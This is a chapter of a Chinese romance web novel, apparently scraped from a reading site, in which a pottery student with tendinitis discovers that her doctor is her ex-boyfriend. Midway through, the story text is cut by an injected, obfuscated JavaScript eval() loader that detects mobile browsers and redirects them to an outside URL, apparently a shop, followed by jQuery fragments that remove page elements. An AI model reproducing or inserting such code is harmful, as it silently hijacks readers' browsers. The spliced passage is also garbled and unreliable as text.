《前任用小号给我点了个赞》


    /by我不是张良


    晋江文学城首发


    2025.01.08


    -


    与蔺煜庭再相逢的这天,天色稀薄,京城飘了点小雪。


    雪落在虞眠垂着的睫毛上,她抬手拂去,推开面前厚重的玻璃门。


    虞眠捏了捏右手,这只手还是疼得抬不起来。


    只要稍一用力,连着肩膀到手腕腕骨的那根筋就开始搅弄风雨,唯恐天下不平,在她身体里噼里啪啦,跟鞭炮一样大声叫嚣着自己的存在。


    酸胀往骨缝里钻,让人寝食难安。


    虞眠今年研二,陶艺专业,每天都要去工作室拉坯、提泥,雷打不动。


    右手的毛病已经有两周了。一开始她以为是没休息好,毕竟学业繁忙,除了去工作室,还要上课、看文献、卷比赛,她经常被迫熬到凌晨。


    于是虞眠给自己松了绑,连着三天早睡早起。


    结果毫无作用,晚上她在睡梦里都会疼醒,连着右半边身体都难受极了,怕吵醒舍友,再痛她也没支声儿。


    次日,虞眠买了药贴,不捏陶的时候就拆一片贴在手腕,一天两次。有次被学姐看到,说这是腱鞘炎,陶艺人都有的毛病,让她早些去医院检查,拖久了不好治,极有可能落下病根。


    她听是听进去了,可手上的项目还差最后的收尾,又忙活了一周,好不容易有时间打算去医院看看,偏偏赶上有门专业课结课,还要准备小考。


    等考完了,虞眠转动手腕的时候才发现,大拇指第一个关节内侧竟然长了一个小囊肿,很灵活,捏起来到处跑,还硬硬的。


    这真把她吓一跳,虞眠虽然勤奋,但也是惜命的。


    身体是革命的本钱,手要是废了,别说捏陶,掐根葱都费劲。


    虞眠下午请了假回宿舍休息,跟舍友谈锦说起这事,准备周末去医院看看。


    谈锦一听,还等什么周末啊,赶忙拉着她来离学校最近的三院。走得太急,虞眠甚至没时间戴隐形,顺手拿了副框架眼镜就出门了。


    来的路上,虞眠随便挂了一个专家号,接诊的医生姓谢。


    在自动挂号机上取完号,虞眠和谈锦匆匆忙忙坐电梯上了三楼。


    快到下班时间,诊室病患寥寥,门口的显示屏刚好跳转到:【患者虞眠就诊中】


    谈锦推了推她:“到你了。”


    门半掩,虞眠礼貌地敲了敲,没人应声,她推门往里望了望。


    担心医生下班,她一路紧赶慢赶,呼吸难免急促,架在口罩上的眼镜蒙上两片不规则的白雾。


    左镜上的雾迹浅些,范围小,透过尚且清晰的镜片,她眯着眼看过去。


    那人穿着白大褂,坐在她正对面,背后的浅灰色窗帘被风鼓动得飘起,诊室的采光不算好,他刚好又背着光,脸庞隐匿在一团昏暗里,显得淡漠冷峻。


    还好没下班,虞眠舒了口气,握着门把手。


    “您好。”


    话一出口,视线又开始层层叠叠地模糊起来,医生的轮廓只剩下一团白色。


    他指着对面的木椅,示意她坐。


    虞眠干脆将口罩摘下,扶了扶眼镜,将右手艰难地放在桌上,开始自述病情。


    “医生,我手腕疼了半个月,贴了药贴也没用,这里还长了一个囊——”


    镜片的雾气逐渐消散,面前男人的轮廓慢慢变得高清起来,这下虞眠彻底看清楚了。


    她的喉咙发麻,声音也由此戛然而止,像只莽撞的笨狐狸,一觉醒来突然发现面前是只游隼似的噤了声。


    蔺煜庭戴着淡蓝色口罩,只露出一双眼睛,冷峭清隽。


    很多年前,她不止一次地感叹,蔺煜庭周身这种不可亵玩的气质究竟是从何来,想了很久她才想明白,是这双青湿眉眼。


    假若是她此生第一次见到这双眼睛,怕还是会无可自拔地沉溺进去。


    蔺煜庭垂下眼睑的时候,能看到他右眼眼皮上有颗茶褐色的痣。


    那几年浓情蜜意的日子太多,她总是一次又一次地吻过这颗痣。


    每次她亲上去,蔺煜庭总会笑,上扬的眼尾弯弯,瞳仁像浮着一层透明的水雾,就这么隔着水雾缠缠绵绵地看着她。


    “别闹,眠眠。”他话里带笑,用手扣住她的后背,将人抵在胸口:“听话。”


    四年的光阴流转,那颗痣再一次因为她有了些许波动。


    他的视线下移,盯着她的手腕,复又抬眸望着她,眼底沉着一片静默的海。


    虞眠后悔不已,出门就应该看看黄历,怎么看病也能遇到前男友?


    分手那会,她脑子发昏,本着今生今世都永不相见的念头,什么狠话都说尽了。


    虞眠那时太年轻,做事哪考虑什么后果,想着就算重逢,她也要把头昂得高高的,跟只孔雀一样,带着现任在蔺煜庭面前扬长而过。


    徒留对方一个人站在原地,对着他们的背影扼腕长叹,后悔莫及。


    哪像现在,她顶着双被科研摧残的大黑眼圈,架着厚重的眼镜,像个老年人一样颤颤巍巍地伸出手,可怜兮兮地讲述自己的病情。


    谈锦不解,轻摇她的肩,“怎么了?”


    见虞眠不发话,以为她是疼得开不了口,便主动指给医生看:“这里,她这里有一个囊肿,最近才长出来的。”


    蔺煜庭鸦黑的睫毛在眼皮下投落着灰色阴影,冷漠的双眸垂下,戴着橡胶手套的指尖划过她的掌心内侧。


    “是这里吗?”


    他说话节奏很慢,嗓音低低的,像雪松伏加特里的冰块,极有质感。


    声音被口罩闷住,隔着飘浮的空气敲在她裸露的手背上。


    虞眠右手上的那根筋跳了两下。


    她盯着对方白大褂领口下的灰色斜纹领带,闷了半天才憋出一句:“我约的不是谢医生吗?”


    她声音小小的,显得有点怂。


    虞眠就是这样的人,背地里恨得牙痒痒,怨怼的话揣了一肚子,可等真见到了,也只敢微微反抗一下。


    蔺煜庭即刻就收回手,身体往后靠。眼神无波无澜,没一点情绪,好像坐在对面的是个再普通不过的病人:


    “谢医生有事,明天才来。”


    谈锦是北方人,性子爽朗,对虞眠的细微反应并不敏感,她开口道:“这有什么,谁看都一样,能治好就行。”


    “噢,”虞眠跟鹌鹑似的垂着脑袋,细声细语:“我就问问。”


    问一下又不犯法。


    铃声响起,谈锦看了眼手机,让虞眠结束了出去找她,说完便往外走。


    门被轻轻带上,少了个人,诊室更静了,只有风吹过窗帘发出细微的窸窣声。


    蔺煜庭站起来将窗户关上,极轻地一声,但虞眠还是打了个激灵,整个人坐得笔直。


    这下一点声音也没有了。


    虞眠还保持着低头的姿势,而那只大手再一次捏住了她的掌心,隔着橡胶材质,冰冰凉凉的。


    蔺煜庭没有再问她,他找到掌心指骨的位置,轻轻按压了一下。


    虞眠吃痛地“啊”一声。


    “疼吗?”他眼帘微掀。


    “囊肿不疼,”虞眠龇牙咧嘴:“手心疼。”


    “不痛不痒就是脂肪瘤,没什么影响。”


    “需要割掉吗?”


    “不用,平时不要去捏它。”


    虞眠追问:“这是什么原因引起的?”


    “遗传、熬夜、高压,这些都有可能。”


    说完,蔺煜庭让她起身走近,虞眠听话地照做。


    两人离得很近,蔺煜庭身体微微向前倾,将手掌垫进她的掌心。


    “用全力握。”他说。


    从这个角度,虞眠能看到他挺拔的鼻梁、薄薄的唇形,和两个人十指相扣的动作。


    好像再走近一点点,对方就能听到她的心跳声了。


    这样的动作私密到让虞眠觉得恍然。


    上一次这样是什么时候呢?大约也是冬至吧。


    蔺煜庭一张白玉面庞,端得那禁欲冷淡的样子,旁人还以为这人对情事不感冒,虞眠却清楚得很,他那是假正经。


    真做起来会牢牢扣住她的掌心,辗转时温柔全无,跟平日光风霁月的外表截然相反,整个人带着股狠劲,指腹的薄茧刮蹭着她,让人爽到瞳孔失焦。


    床上床下堪称两模两样。


    可再熟悉,两人也早就分手了,分手就意味着没有关系,也无法再进入对方的生活。


    像有一把标尺横亘在他们中间,宣告天下——这是已经最合适的距离了。


    虞眠用余光瞧了眼那颗黑色头颅,顿觉自己的神经高度紧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203001|197274||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    张,甚至能听到窗外远距离的汽车鸣笛声。


    可窗户分明已经被关上了。


    她用力扣住他的手,指尖相缠。冰冷的乳胶材质犹如结冰的什刹海,冻得人手心发麻。


    一声。


    两声。


    三声。


    在第四声鸣笛结束时,蔺煜庭终于抽回手,侧过身将橡胶手套摘下。


    “不要拎重物,少用手,多休息。”他顿了一下,决定将话说得更直白些:“再严重的话是要做手术的。”


    虞眠纠结半天,还是问了句:“我平时必须要用到手腕,有没有药物能缓解?”


    “腱鞘炎只能减少手部活动。一切针灸治疗和止痛药都治标不治本。”


    蔺煜庭语气淡淡:“做不到这一点,哪怕手术治好了也会复发。”


    他修长的指尖在鼠标上轻点,紧接着在纸上写了些什么,撕下来递给她,“三楼的尽头取药。”


    虞眠接过,没多停留,逃得很快,小跑着拧开门把手。


    排队取药的人很多,轮到她的时候已经是五点四十了。虞眠动作慢,付完钱,谈锦帮她去窗口拿药,一盒塞来昔布胶囊,一袋药敷和纱布。


    虞眠正准备伸手去拿谈锦手里的塑料袋,谈锦将袋子往身后收,“我给你拿着就行,你就别拎东西了。”


    谈锦是她读研认识的第一个朋友,比虞眠小一岁。开学第一天两人就一起去食堂吃了顿饭,聊得十分投机。


    “医生怎么说?严重吗?”


    “说再严重就要手术了,”虞眠欲哭无泪:“让我减少用手的频率,不然没法好。”


    “对,就这样。”谈锦给她分析:“明天去见余老师你就摆出这个表情,要为自己争取休息的机会,你就是太累了才会这样的。”


    虞眠长吁短叹:“那怎么办啊,毕设谁给我做?”


    “休息一段时间而已,又不是让你停工,平时论文还是可以看的,别杞人忧天。”


    虞眠想想也是,焦虑这焦虑那的,还不如想想明天怎么跟导师说。她正想着措辞,谈锦凑过来耳语:


    “欸,刚刚给你看诊的医生是不是姓蔺?”


    虞眠听到这个姓就跟被人抓住了小辫子一样,下意识侧眸:“你怎么知道?”


    “刚刚在外面,听到路过的两个小护士说的,蔺煜庭之前在三院挂过名,今天来帮家里人代班。”谈锦见周围人不多,悄悄摸摸地贴近她:“我这可有个大八卦,免费分享给你。”


    八卦这个东西,可以是闲言碎语,也可以是黑料。


    只要是跟蔺煜庭有关的黑料,虞眠都不能放过。


    她竖起耳朵认真听,连手腕上的痛感都减轻了。


    “咱们学校的霍副校长,前段时间不是突发心梗住院了吗?住的是国内顶尖的嘉济国际医院,院长就是刚刚那位。”


    “那可不是一般人能踏进去的,你知道那里最普通的病房一天多少钱吗?”


    谈锦两个食指交叉,比划给虞眠看:


    “10万,整整10万!后面你猜怎么着?副校长的千金一眼就相中了蔺院,还吵着让她爸再住几天,好多见上蔺煜庭几次。你说这事闹得,头一回听说有人为了心上人,想让自家老爹多在医院待几天的,我导师都听乐了。”


    “大家就特好奇,什么样的男人这么有魅力?毕竟霍清姿那人傲气,竟然还会放下身段去倒追?于是我们课题组一群人轮番上阵,找遍全网也就翻出一张图,还是侧脸,像素可低了。”


    竟然不是黑料,虞眠十分遗憾。


    听八卦的热乎劲儿散了大半,她心里怏怏的,十分不得劲儿,有一搭没一搭地应着:“那你都能认出来?”


    “拜托,也太好认了。”


    谈锦嘴皮子溜,说起话来语速很快:“京市遍地人中龙凤,我从小在这长大,什么红二代官二代没见过?但蔺煜庭的气质,我记忆太深刻了,那金尊玉贵的样儿,跟皇宫里的太子似的。”


    虞眠在心底补充,从小在锦衣玉食里泡大的富n代,可不就是太子爷吗?


    俩人走到三楼电梯口,刚按键,身旁的人影晃动,太子爷在她一侧站定。


    蔺煜庭已经脱下了白大褂,一身烟灰色大衣,里面是件缎面的黑衬衫,口罩还没摘,双手懒懒地抄袋。


    站在那里目不斜视,仿若菩萨似的冷清。